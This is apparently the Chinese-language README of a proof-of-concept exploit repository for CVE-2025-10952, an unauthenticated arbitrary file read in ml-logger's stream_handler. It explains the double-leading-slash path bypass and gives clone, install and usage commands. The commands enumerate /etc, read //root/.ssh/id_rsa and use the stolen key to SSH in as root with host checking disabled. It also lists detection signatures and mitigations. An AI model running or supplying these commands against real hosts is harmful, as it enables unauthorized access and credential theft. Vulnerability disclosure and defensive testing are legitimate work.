stream_handler 任意文件读取本仓库提供了一个独立的 Python 脚本 — CVE-2025-10952.py — 用于利用 ml-logger 的 stream_handler 中存在的未认证任意文件读取漏洞,并与 /glob 端点链式配合进行文件系统枚举。
当针对存在漏洞的 ml-logger 实例运行时,它将:
/glob 端点枚举目标主机上的文件(未认证,且超出预期范围外无路径限制)。/stream 端点读取任意文件,方法是提供一个精心构造的 key 参数,突破处理程序的基础路径拼接逻辑。由于 stream_handler 将客户端提供的 key 字段直接传入文件路径解析和流式传输调用,且没有任何包含性检查,因此未认证的网络攻击者可以读取该服务的操作系统用户可访问的任何文件。
ml_logger/server.py — stream_handler(文件处理程序)AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:Nacf255bade5be6ad88d90735c8367b28cbe3a743 的所有版本(滚动发布项目;披露时尚未发布修复版本)stream_handler 接受包含 key 字段的 JSON 请求体,并将其直接传入文件读取调用,且没有任何路径清理。相邻的 glob_handler 端点实现了部分路径限制(阻止绝对路径和目录遍历),但 stream_handler 并未共享该验证 — key 中的双前导斜杠(例如 //root/.ssh/id_rsa)足以突破预期的基目录。
ml-logger API 实例的网络git clone https://github.com/Khashayarnzk/CVE-2025-10952-ml-logger-AFR.git
cd CVE-2025-10952-ml-logger-AFR
pip install -r requirements.txt
枚举文件:
python3 CVE-2025-10952.py --target TARGET --port 8081 --glob "/etc/*"
读取任意文件:
python3 CVE-2025-10952.py --target TARGET --port 8081 --read "//root/.ssh/id_rsa"
读取并保存到磁盘:
python3 CVE-2025-10952.py --target TARGET --port 8081 --read "//root/.ssh/id_rsa" --out id_rsa_root
chmod 600 id_rsa_root
ssh -i id_rsa_root -o StrictHostKeyChecking=no root@TARGET
--port 默认为 8081,即标准部署中 ml-logger 文件代理 API 的默认端口。仪表板前端通常运行在单独的端口上,不属于漏洞路径的一部分。
/glob 端点返回 405 Method Not Allowed 且带有 Allow: POST — 这可用于区分 API 端口与静态仪表板前端。--glob 枚举可访问的路径,以定位感兴趣的文件(SSH 密钥、配置文件、凭据存储)。--read 检索目标文件,对于绝对路径使用双前导斜杠。ml-logger 服务端口的 key/path 风格 JSON 字段,对包含 ..、双前导斜杠(//)或绝对路径前缀(/etc、/root、/proc)的内容发出告警。~/.ssh/、/etc/shadow、/etc/passwd 的文件完整性或访问监控应标记源自 ml-logger 进程身份的读取行为。ml-logger 暴露给不受信任的网络。stream_handler 中强制实施路径包含性检查(将 os.path.realpath() 解析结果与允许列表中的基目录进行比对);在专用的非特权操作系统账户下运行该服务。本仓库包含针对 CVE-2025-10952 的概念验证利用代码,该漏洞是 ml-logger 中一个未认证的信息泄露漏洞。请仅在您拥有或已获得明确授权测试的环境中使用此代码。作者不对因使用本软件而造成的任何滥用或损害负责。
参见 LICENSE。